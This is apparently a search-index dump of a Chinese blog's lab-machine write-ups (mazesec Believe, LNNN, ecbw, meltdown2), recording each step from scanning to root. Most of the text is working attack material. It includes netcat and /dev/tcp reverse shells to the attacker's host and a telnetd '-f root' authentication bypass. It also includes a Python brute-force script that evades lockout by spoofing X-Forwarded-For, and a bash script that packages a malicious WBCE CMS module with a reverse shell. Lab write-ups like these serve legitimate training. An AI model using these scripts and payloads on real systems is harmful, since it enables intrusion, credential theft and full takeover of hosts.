1 root root 29653 May 23 16:07 dmesg -rw-r--r-- 1 root root 0 May 8 10:56 faillog -rw-r--r-- 1 root root 0 May 8 10:56 lastlog -rw-r----- 1 root wheel 127116 May 23 18:33 messages -rw-r----- 1 root wheel 204870 May 23 09:59 messages.0 -rw-r--r-- 1 root root 0 Apr 25 18:31 secure -rw-r--r-- 1 root root 0 Apr 25 18:31 syslog -rw-rw-r-- 1 root utmp 0 May 8 10:56 wtmp 可以看到.hidden。 yu@Believe:~$ cd /var/log/.hidden yu@Believe:/var/log/.hidden$ ls -al total 8 drwx--x--x 2 yu yu 4096 May 14 14:50 . drwxr-xr-x 4 root root 4096 May 23 09:59 .. pr-------- 1 yu yu 0 May 23 18:38 .ghost_radio # p 命名管道（FIFO / named pipe）, 命名管道通常不会保存静态内容，而是等另一端进程持续往里写。 yu@Believe:/var/log/.hidden$ cat .ghost_radio i\u003eb i\u003egrep i\u003ee i\u003egrep i\u003el i\u003egrep i\u003ei i\u003egrep i\u003ee i\u003egrep i\u003ev i\u003egrep i\u003ee i\u003egrep i\u003eb i\u003egrep i\u003ee i\u003egrep i\u003el i\u003egrep i\u003ei i\u003egrep i\u003ee i\u003egrep i\u003ev i\u003egrep i\u003ee i\u003egrep i\u003eb i\u003egrep i\u003ee i\u003egrep i\u003el i\u003egrep i\u003ei i\u003egrep i\u003ee i\u003egrep i\u003ev i\u003egrep i\u003ee i\u003egrep i\u003eb i\u003egrep i\u003ee i\u003egrep i\u003el i\u003egrep i\u003ei i\u003egrep i\u003ee i\u003egrep # 观察规则 i\u003eb i\u003egrep i\u003ee i\u003egrep i\u003el i\u003egrep i\u003ei i\u003egrep i\u003ee i\u003egrep i\u003ev i\u003egrep i\u003ee i\u003egrep # 这是一个循环 i\u003e单个字符 i\u003egrep # 把单个字符组合起来 b e l i e v e 当然这里也可以使用 ps auxww（LNNN 学习到的），查看到底是哪个命令再给 .ghost_radio 文件写入内容。 yu@Believe:/var/log/.hidden$ sudo -l Matching Defaults entries for yu on Believe: secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin Runas and Command-specific defaults for yu: Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\" User yu may run the following commands on Believe: (root) NOPASSWD: /root/be yu@Believe:~$ sudo /root/be 验证密钥（*******）: 这里要输入密钥，密钥就是believe。 yu@Believe:~$ sudo /root/be 验证密钥（*******）: believe 密钥正确 yu@Believe:~$ ls -al total 896 drwx------ 2 yu yu 4096 May 14 15:16 . drwxr-xr-x 3 root root 4096 May 12 22:10 .. -rwsr-xr-x 1 root root 900520 May 14 11:45 be -rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt -rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt 可以看到 be 从 ---------- 变为 -rwsr-xr-x，它具有了suid位，可以提权。 ","date":"2026-05-23","heading":"系统内部信息收集","objectID":"/p/believe/:3:0","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 可以说我对于逆向分析，屁都不懂，这一步是ai梭哈出来的，贴个脚本吧： def rc4(key: bytes, data: bytes) -\u003e bytes: s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) \u0026 0xff s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray() for b in data: i = (i + 1) \u0026 0xff j = (j + s[i]) \u0026 0xff s[i], s[j] = s[j], s[i] k = s[(s[i] + s[j]) \u0026 0xff] out.append(b ^ k) return bytes(out) # 程序里写死的目标密文 target = bytes.fromhex( \"24 53 27 50 78 4B 9D AB AB 7E F0 A1 49 F2 EA 7E EC 6C 82 77\" ) # 实际解题时验证可用的 key key = b\"believe\" plaintext = rc4(key, target) print(\"key =\", key.decode()) print(\"plaintext =\", plaintext.decode()) # 输出： key = believe plaintext = Believe_in_yourself! 权限提升： yu@Believe:~$ ./be 请输入系统密钥: Believe_in_yourself! 验证成功。 [+] 正在请求 Believe 核心权限... Believe:/home/yu# id uid=0(root) gid=0(root) groups=1000(yu) Believe:/home/yu# ","date":"2026-05-23","heading":"权限提升","objectID":"/p/believe/:4:0","tags":["mazesec","Easy"],"title":"Believe 复盘","uri":"/p/believe/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 LNNN 复盘 的渗透测试与提权记录","date":"2026-05-23","objectID":"/p/lnnn/","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 ll104567 easy(根据我自己定的) mazesec ","date":"2026-05-23","heading":"","objectID":"/p/lnnn/:0:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:~# nmap 192.168.56.118 Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 23:53 -0400 Nmap scan report for 192.168.56.118 Host is up (0.00090s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9090/tcp open zeus-admin MAC Address: 08:00:27:35:52:5B (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds root@kali:~# nmap 192.168.56.118 -p22,80,9090 -A Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 23:53 -0400 Nmap scan report for 192.168.56.118 Host is up (0.0021s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-title: Warning |_http-server-header: Apache/2.4.66 (Debian) 9090/tcp open ssl/http Cockpit web service |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=LNNN/organizationName=c2d6d1b6c1084753b022ca80771b162d | Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost | Not valid before: 2026-05-16T12:12:36 |_Not valid after: 2027-06-15T12:12:36 | http-robots.txt: 1 disallowed entry |_/ # 省略了一些无用信息 MAC Address: 08:00:27:35:52:5B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9) (93%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 2.14 ms 192.168.56.118 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 129.08 seconds 搜索Cockpit web service的内容：基于 Web 的交互式管理界面，核心功能： Web 终端访问：在浏览器中直接获得一个命令行终端，方便执行各种命令 系统状态监控：通过仪表盘实时查看 CPU、内存、磁盘和网络流量的使用情况 服务与容器管理：可以方便地管理系统服务（systemd），并监控 Docker 等容器的运行状态 用户与存储管理：提供图形化界面来创建、管理系统用户，以及查看和管理磁盘分区与存储。 当时目标就放在这个端口，搜索了公开漏洞发现： 发现了一个比较新的漏洞，不过ssh版本不允许，无法利用，当时还爆破了Cockpit的root密码 (Cockpit 登录账户直接使用服务器操作系统本身的用户账户)，并没有爆破出来。 root@kali:~# dirsearch -u http://192.168.56.118/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/reports/http_192.168.56.118/__26-05-22_00-07-20.txt Target: http://192.168.56.118/ [00:08:29] 301 - 356B - /tools -\u003e http://192.168.56.118/tools/ [00:08:29] 200 - 897B - /tools/ Task Completed http://192.168.56.118/tools/存放了一些群主发的工具。 重心又放到了9090端口，实在看不出来，又返回到http://192.168.56.118/tools/，最后发现群主发的工具里啥时候多了一个shell.php，这个老六，立足点找到了。 ","date":"2026-05-23","heading":"信息收集","objectID":"/p/lnnn/:1:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"初始入侵获取立足点 busybox nc 192.168.56.101 39666 -e /bin/bash # kali nc -lvnp 39666 # 先监听再反向shell # 优化为交互式shell ","date":"2026-05-23","heading":"初始入侵获取立足点","objectID":"/p/lnnn/:2:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#初始入侵获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 哈哈哈，我今天被我整笑了，linpeas.sh 进行系统的信息枚举，但是不会看linpeas.sh的返回内容，又不想让ai给我分析，导致关键信息没有看出来，不过我还是学习到一些命令。 cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash lnnn:x:1000:1000:,,,:/home/lnnn:/bin/bash mono:x:1001:1001:,,,:/home/mono:/bin/bash todd:x:1002:1002:,,,:/home/todd:/bin/bash find / -user lnnn 2\u003e/dev/null | grep -v proc # 发现： /var/backups/lnnn-password.txt cat /var/backups/lnnn-password.txt c7L0rEw7ay3dQrip5yDU su lnnn Password: id uid=1000(lnnn) gid=1000(lnnn) groups=1000(lnnn),100(users) # 我就做到这里，还是经历了一些曲折的。 # 运行 lin2026.sh bash lin2026.sh Xinetd Configuration (/etc/xinetd.conf): defaults { } includedir /etc/xinetd.d Included Configurations: includedir /etc/xinetd.d Service Configurations: Services in /etc/xinetd.d/: Service: telnet-vuln Status: Disabled service telnet-vuln { socket_type = stream wait = no user = root server = /opt/telnetd server_args = -l log_on_failure += USERID port = 2323 } Warning: Service runs as root ps auxww | grep \"telnetd\" root 544 0.0 0.2 11720 4488 ? Ss May21 0:00 /usr/bin/socat TCP-LISTEN:23,bind=127.0.0.1,fork,reuseaddr EXEC:/usr/bin/telnetd,nofork lnnn 327670 0.0 0.1 6528 2352 pts/2 S+ 09:34 0:00 grep telnet # ww 为了让 cmd 输出更加完整 # 在本地为 telnetd 搭建了一个 入口 telnetd --version telnetd (GNU inetutils) 2.4 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by many authors. 搜索 2.4 版本的 公开漏洞 发现：CVE-2026-24061，影响范围：1.9.3 到 2.7。 ","date":"2026-05-23","heading":"系统内部信息收集","objectID":"/p/lnnn/:3:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 CVE-2026-24061 描述： GNU InetUtils 在 2.7-2 之前的 telnetd 实现存在一个可通过环境变量注入实现的认证绕过漏洞。攻击者可以在 Telnet 的 NEW-ENVIRON 子协商过程中传入伪造的 USER 环境变量，例如 \u0026ldquo;-f root\u0026rdquo;，从而诱使登录进程直接授予一个 root shell，而无需密码。 技术分析： 这个漏洞的根因是：telnetd 在把 USER 变量作为参数传递给 /bin/login 之前，没有对其进行安全过滤。 如果攻击者把 -f 标志前置进去，login 程序就会跳过身份认证阶段。 lnnn@LNNN:~$ telnet -l '-f root' 127.0.0.1 23 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Linux 7.0.8-1-liquorix-amd64 (LNNN) (pts/3) root@LNNN:~# id uid=0(root) gid=0(root) groups=0(root) ","date":"2026-05-23","heading":"权限提升","objectID":"/p/lnnn/:4:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这次就不做攻击链的总结了，哈哈哈，好像也没有什么好笑的。这次主要卡在系统内部信息收集阶段，对于内网的信息收集不行，我看了redis的公开漏洞，打了后无法打通，最后打的心气都没了，哈哈哈。 ","date":"2026-05-23","heading":"总结","objectID":"/p/lnnn/:5:0","tags":["mazesec","Easy"],"title":"LNNN 复盘","uri":"/p/lnnn/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 ecbw 复盘 的渗透测试与提权记录","date":"2026-05-21","objectID":"/p/ecbw/","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 靶机名称 难度 平台 ll104567 ecbw medium(靶机作者认为baby) mazesec 这道题的web是一个cms网站，我觉得挺有难度的，我就把他放到了medium。 ","date":"2026-05-21","heading":"","objectID":"/p/ecbw/:0:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 nmap 192.168.56.116 # 扫出 80 nmap 192.168.56.116 -p80 -sC -sV #80/tcp open http Apache httpd 2.4.62 ((Debian)) #|_http-title: 111 - Enter your website title #|_http-server-header: Apache/2.4.62 (Debian) dirsearch 进行网站的目录枚举： root@kali:~# dirsearch -u http://192.168.56.116/ [22:36:59] 301 - 318B - /account -\u003e http://192.168.56.116/account/ [22:36:59] 302 - 0B - /account/login.php -\u003e http://ecbw.dsz/index.php [22:36:59] 301 - 0B - /account/ -\u003e login.php [22:37:00] 301 - 316B - /admin -\u003e http://192.168.56.116/admin/ [22:37:01] 302 - 0B - /admin/ -\u003e http://ecbw.dsz/admin/start/index.php [22:37:01] 302 - 0B - /admin/index.php -\u003e http://ecbw.dsz/admin/start/index.php [22:37:01] 301 - 322B - /admin/login -\u003e http://192.168.56.116/admin/login/ [22:37:14] 200 - 136B - /CHANGELOG.md [22:37:15] 200 - 0B - /config.php [22:37:22] 200 - 34KB - /favicon.ico [22:37:26] 301 - 318B - /include -\u003e http://192.168.56.116/include/ [22:37:26] 301 - 0B - /include/ -\u003e ../index.php [22:37:27] 200 - 1KB - /INSTALL.md [22:37:29] 301 - 320B - /languages -\u003e http://192.168.56.116/languages/ [22:37:30] 200 - 15KB - /LICENSE.md [22:37:32] 301 - 316B - /media -\u003e http://192.168.56.116/media/ [22:37:32] 200 - 457B - /media/ [22:37:34] 301 - 318B - /modules -\u003e http://192.168.56.116/modules/ [22:37:34] 301 - 0B - /modules/ -\u003e ../index.php [22:37:37] 301 - 316B - /pages -\u003e http://192.168.56.116/pages/ [22:37:37] 301 - 0B - /pages/ -\u003e ../index.php [22:37:43] 200 - 2KB - /README.md [22:37:45] 301 - 317B - /search -\u003e http://192.168.56.116/search/ [22:37:52] 301 - 320B - /templates -\u003e http://192.168.56.116/templates/ [22:37:52] 301 - 0B - /temp/ -\u003e ../index.php [22:37:52] 301 - 315B - /temp -\u003e http://192.168.56.116/temp/ [22:37:52] 301 - 0B - /templates/ -\u003e ../index.php [22:37:56] 301 - 314B - /var -\u003e http://192.168.56.116/var/ [22:37:56] 301 - 0B - /var/ -\u003e ../index.php [22:37:56] 200 - 467B - /var/logs/ [22:36:59] 302 - 0B - /account/login.php -\u0026gt; http://ecbw.dsz/index.php : 这里跳转到了域名，这里需要修改主机的hosts文件，windows 修改 : C:\\Windows\\System32\\drivers\\etc\\hosts文件，linux 修改 : /etc/hosts 文件。 # 我的IP 为 192.168.56.116 192.168.56.116 ecbw.dsz curl -i http://ecbw.dsz/admin -L # 会跳转到 /admin/login 查看README.md: 发现该网站是一个wbce cms网站，还发现了一个关键信息： ## Minimum requirements - about 25 MB webspace - PHP 8.1 - PHP 8.4.x (PHP \u003e= 8.4.x requires WBCE 1.6.4) - mySQL or MariaDB database - GD Library / Exif / Imagemagick (if you use any module with image processing) - mod_rewrite (if you use ShortURL) - PHP 8.1 - PHP 8.4.x (PHP \u0026gt;= 8.4.x requires WBCE 1.6.4)，说明 该网站的版本 可能小于等于 1.6.4。 ","date":"2026-05-21","heading":"信息收集","objectID":"/p/ecbw/:1:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞分析/利用 搜索 wbce cms 网站 1.6.4 版本以下 的 公开漏洞： 这是在 wbce 的官方漏洞公告。 分析网站： 111 welcome to Maze -------------------------------------- From scdyh 提取用户名：scdyh 112 generate_by_username 按用户名生成字典。 root@kali:/tmp/123# bash generate_by_username.sh scdyh \u003e pass.txt 在/admin/login进行目录爆破，爆破几次会禁止访问，查看官网漏洞报告发现：Brute-force protection bypass using X-Forwarded-For header 可以绕过爆破限制。 import requests # ========================== # CONFIGURATION # ========================== TARGET_URL = \"http://ecbw.dsz/admin/login/\" USERNAME = \"scdyh\" # Extracted from intercepted login request USERNAME_FIELDNAME = \"username_38C77E9A78FD\" PASSWORD_FIELDNAME = \"password_38C77E9A78FD\" # 这两个都要更改为 你实际请求的 键名 USERNAME_META_FIELD = \"username_fieldname\" PASSWORD_META_FIELD = \"password_fieldname\" WORDLIST = \"pass.txt\" ERROR_STRING = \"Loginname or password incorrect\" BLOCK_STRING = \"Excessive Invalid Logins\" MAX_ATTEMPTS_PER_IP = 4 SPOOF_IP_BASE = \"10.0.0.\" # Optional Burp Suite proxy USE_BURP = False PROXIES = { \"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\", } session = requests.Session() if USE_BURP: session.proxies.update(PROXIES) session.verify = False # ========================== # LOGIN REQUEST # ========================== def try_login(ip, password): \"\"\"Send one login attempt with spoofed X-Forwarded-For.\"\"\" headers = { \"X-Forwarded-For\": ip, \"User-Agent\": \"WBCE-Bruteforce-POC\", } data = { USERNAME_META_FIELD: USERNAME_FIELDNAME, PASSWORD_META_FIELD: PASSWORD_FIELDNAME, USERNAME_FIELDNAME: USERNAME, PASSWORD_FIELDNAME: password, \"url\": \"\", \"submit\": \"Login\", } resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True) text = resp.text failed = ERROR_STRING in text blocked = BLOCK_STRING in text success = not failed and not blocked return success, failed, blocked, resp # ========================== # MAIN ROUTINE # ========================== def main(): print(\"[*] Loading wordlist...\") with open(WORDLIST, \"r\", encoding=\"utf-8\") as f: passwords = [p.strip() for p in f if p.strip()] print(f\"[*] Loaded {len(passwords)} passwords.\\n\") current_ip_counter = 1 attempts_with_ip = 0 for attempt_no, password in enumerate(passwords, start=1): ip = f\"{SPOOF_IP_BASE}{current_ip_counter}\" success, failed, blocked, resp = try_login(ip, password) print( f\"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' \" f\"| failed={failed} blocked={blocked}\" ) if success: print(\"\\n[+] SUCCESSFUL LOGIN!\") print(f\" Username: {USERNAME}\") print(f\" Password: {password}\") print(f\" IP used : {ip}\") return attempts_with_ip += 1 # Switch spoofed IP after lockout threshold if attempts_with_ip \u003e= MAX_ATTEMPTS_PER_IP: print(f\"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\\n\") current_ip_counter += 1 attempts_with_ip = 0 print(\"\\n[-] Password not found in wordlist.\") if __name__ == \"__main__\": main() 爆破的凭据为：scdyh:scdyh2026 成功登录网站，网站的版本是:1.6.4。 https://www.exploit-db.com/search?q=wbce搜索到： 其实1.6.3的payload也能用，只是需要修改一下上传的install.php文件。 先学习新的方法： https://www.exploit-db.com/exploits/52489 跟着这个网站的描述进行操作，最后效果是这样的： 紧接着修改exp： echo \"系统信息 PoC\"; echo \"\"; phpinfo(); echo \"\"; 禁用了这些函数，但是没有禁用exec()。 ","date":"2026-05-21","heading":"漏洞分析/利用","objectID":"/p/ecbw/:2:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#漏洞分析利用"},{"categories":["靶机复盘"],"collections":null,"content":"初始入侵获取立足点 修改exp为： echo \"系统信息 PoC\"; echo \"\"; exec(\"busybox nc 192.168.56.101 39666 -e /bin/bash\"); echo \"\"; # kali nc -lvnp 39666 访问http://192.168.56.116/触发反弹shell： root@kali:~/tools# nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.116] 54878 id uid=33(www-data) gid=33(www-data) groups=33(www-data) 优化反向shell。 ","date":"2026-05-21","heading":"初始入侵获取立足点","objectID":"/p/ecbw/:3:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#初始入侵获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 # kali root@kali:~/tools# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... # 靶机 www-data@ecbw:/var/www/ecbw.dsz$ wget http://192.168.56.101:8000/lin2026.sh --2026-05-21 04:11:54-- http://192.168.56.101:8000/lin2026.sh Connecting to 192.168.56.101:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 1046034 (1022K) [application/x-sh] Saving to: 'lin2026.sh' lin2026.sh 100%[===================\u003e] 1022K --.-KB/s in 0.02s 2026-05-21 04:11:54 (42.6 MB/s) - 'lin2026.sh' saved [1046034/1046034] www-data@ecbw:/var/www/ecbw.dsz$ bash lin2026.sh ╔══════════╣ Checking for Copy Fail (CVE-2026-31431) (T1068) ╚ https://copy.fail/ ╚ https://www.cve.org/CVERecord?id=CVE-2026-31431 VULNERABLE: non-destructive AF_ALG/splice page-cache write triggered 存在copyfail提权漏洞。 ","date":"2026-05-21","heading":"系统内部信息收集","objectID":"/p/ecbw/:4:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 # kali root@kali:~/tools# cd copy-fail-c root@kali:~/tools/copy-fail-c# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... # 目标靶机 www-data@ecbw:/var/www/ecbw.dsz$ wget http://192.168.56.101:8000/exploit --2026-05-21 04:43:50-- http://192.168.56.101:8000/exploit Connecting to 192.168.56.101:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 811048 (792K) [application/octet-stream] Saving to: 'exploit' exploit 0%[ ] 0 --.-KB/s exploit 100%[=======================================================\u003e] 792.04K --.-KB/s in 0.01s 2026-05-21 04:43:50 (63.9 MB/s) - 'exploit' saved [811048/811048] www-data@ecbw:/var/www/ecbw.dsz$ chmod +x exploit \u0026\u0026 ./exploit [+] target: /usr/bin/sudo [+] payload: 1456 bytes (364 iterations) [+] page cache mutated; exec'ing target # id uid=0(root) gid=0(root) groups=0(root),33(www-data) # cat /root/root.txt flag{root-cf276b11e1e808fac62d5763674b4918} # cat /home/fly/user.txt flag{user-a74ed22129e22096e8cae79febdb8376} 提权这个算非预期解，作者说:这个是库存靶机，出这个靶机的时候，copyfail漏洞还没有出来了。 ","date":"2026-05-21","heading":"权限提升","objectID":"/p/ecbw/:5:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 信息收集：端口扫描发现 80 端口，目录枚举 ，在README.md发现该网站为wbce cms网站，版本可能在1.6.4版本及其一下。 漏洞分析/利用：通过网站提示信息制作密码字典，并通过Brute-force protection bypass using X-Forwarded-For header脚本成功爆破出密码，凭证：scdyh:scdyh2026，这就是管理员，利用WBCE CMS 1.6.4 - Remote Code Execution执行php文件，获取立足点。 学习到:github 的 Security and quality有提交漏洞的日志，可以用于查看公开的漏洞；https://www.exploit-db.com/ 可能有公开漏洞的exp；思路上：遇到cms网站，先查版本信息，看是否有可以利用的公开漏洞。 系统信息收集：通过linpeas.sh进行系统信息收集，发现存在copyfail内核漏洞。 权限提升：通过copyfail的exp进行提权。 ","date":"2026-05-21","heading":"攻击链总结","objectID":"/p/ecbw/:6:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"额外 第二种方法： 这里对于WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE) 做了部分修改，是AI写的： #!/bin/bash # Exploit Title: WBCE CMS \u003c= v1.6.3 Authenticated Remote Code Execution (RCE) if [[ $# -ne 2 ]]; then echo \"[*] Usage: $0 \" echo \"[*] Example: $0 192.168.56.101 39666\" exit 1 fi if [ -z \"$(which nc)\" ]; then echo \"[!] Netcat is not installed.\" exit 1 fi ip=$1 port=$2 rm -rf shellModule.zip rm -rf shellModule mkdir shellModule echo [*] Crafting Payload cat \u003c shellModule/info.php \u003c?php \\$module_directory = 'modshell'; \\$module_name = 'Reverse Shell'; \\$module_function = 'page'; \\$module_version = '1.3.3.7'; \\$module_platform = '2.10.x'; \\$module_author = 'Swammers8'; \\$module_license = 'GNU General Public License'; \\$module_description = 'This module is a backdoor'; ?\u003e EOF cat \u003c shellModule/install.php \u003c?php // 增加执行时间限制 set_time_limit(60); \\$ip = '$ip'; \\$port = $port; // 方法1: 使用 socket 直接发送 function send_with_socket(\\$ip, \\$port, \\$data) { \\$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (\\$sock) { socket_connect(\\$sock, \\$ip, \\$port); socket_write(\\$sock, \\$data, strlen(\\$data)); socket_close(\\$sock); return true; } return false; } // 执行命令获取输出 \\$cmd = 'bash -c \"bash -i \u003e\u0026 /dev/tcp/192.168.56.101/39667 0\u003e\u00261\"'; \\$output = \"\"; // 尝试多种方法执行命令 if (function_exists('shell_exec')) { \\$output = shell_exec(\\$cmd . ' 2\u003e\u00261'); } elseif (function_exists('exec')) { exec(\\$cmd . ' 2\u003e\u00261', \\$output_array); \\$output = implode(\"\\n\", \\$output_array); } elseif (function_exists('system')) { ob_start(); system(\\$cmd . ' 2\u003e\u00261'); \\$output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); passthru(\\$cmd . ' 2\u003e\u00261'); \\$output = ob_get_clean(); } else { \\$output = \"No command execution function available\"; } if (\\$output === null || \\$output === \"\") { \\$output = \"Command executed but no output\"; } // 准备要发送的数据 \\$data = \"========================================\\n\"; \\$data .= \"Command: \\$cmd\\n\"; \\$data .= \"========================================\\n\"; \\$data .= \\$output; \\$data .= \"\\n========================================\\n\"; \\$data .= \"Hostname: \" . gethostname() . \"\\n\"; \\$data .= \"Timestamp: \" . date('Y-m-d H:i:s') . \"\\n\"; \\$data .= \"PHP User: \" . (function_exists('get_current_user') ? get_current_user() : 'Unknown') . \"\\n\"; \\$data .= \"========================================\\n\"; // 延迟1秒确保监听器准备好 sleep(1); // 方法1: 尝试 fsockopen \\$sock = @fsockopen(\\$ip, \\$port, \\$errno, \\$errstr, 5); if (\\$sock) { fwrite(\\$sock, \\$data); fflush(\\$sock); fclose(\\$sock); } else { // 方法2: 尝试 socket 扩展 send_with_socket(\\$ip, \\$port, \\$data); } // 记录到日志以便调试 error_log(\"Reverse shell executed for \\$ip:\\$port\"); ?\u003e EOF echo [*] Zipping to shellModule.zip zip -r shellModule.zip shellModule rm -rf shellModule echo [*] ======================================== echo [*] Starting listener... echo [*] Install the module now! echo [*] ======================================== # 启动 netcat 监听，保持连接打开 nc -lvnp $port echo echo \"[*] Done!\" 运行exploit.sh: root@kali:/tmp/123# bash exploit.sh 192.168.56.101 39667 [*] Crafting Payload [*] Zipping to shellModule.zip adding: shellModule/ (stored 0%) adding: shellModule/install.php (deflated 55%) adding: shellModule/info.php (deflated 40%) [*] ======================================== [*] Starting listener... [*] Install the module now! [*] ======================================== listening on [any] 39667 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.117] 57438 将shellMoudle.zip上传到Add-ons -\u0026gt; Moudle: connect to [192.168.56.101] from (UNKNOWN) [192.168.56.117] 57438 bash: cannot set terminal process group (471): Inappropriate ioctl for device bash: no job control in this shell www-data@ecbw:/var/www/ecbw.dsz/admin/modules$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) 再说说www-data -\u0026gt; root，作者的预期解： www-data@ecbw:/var/www/ecbw.dsz$ cat config.php \u003c?php define('DB_TYPE', 'mysqli'); define('DB_HOST', 'localhost'); define('DB_NAME', 'wbce_db'); define('DB_USERNAME', 'wbce_user'); define('DB_PASSWORD', 'wbce_use","date":"2026-05-21","heading":"额外","objectID":"/p/ecbw/:7:0","tags":["mazesec","Medium"],"title":"ecbw 复盘","uri":"/p/ecbw/#额外"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 meltdown2 复现学习 的渗透测试与提权记录","date":"2026-05-21","objectID":"/p/meltdown2/","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/"},{"categories":["靶机复盘"],"collections":null,"content":"这算我打的第二台windows虚拟机。 作者 难度 靶机名称 平台 kaada easy meltdown2 mazesec ","date":"2026-05-21","heading":"","objectID":"/p/meltdown2/:0:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:~# nmap 192.168.56.115 -p- --min-rate 20000 -Pn -v Not shown: 65528 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5985/tcp open wsman 49667/tcp open unknown 49668/tcp open unknown MAC Address: 08:00:27:A0:C9:71 (Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 10.62 seconds Raw packets sent: 131065 (5.767MB) | Rcvd: 9 (380B) 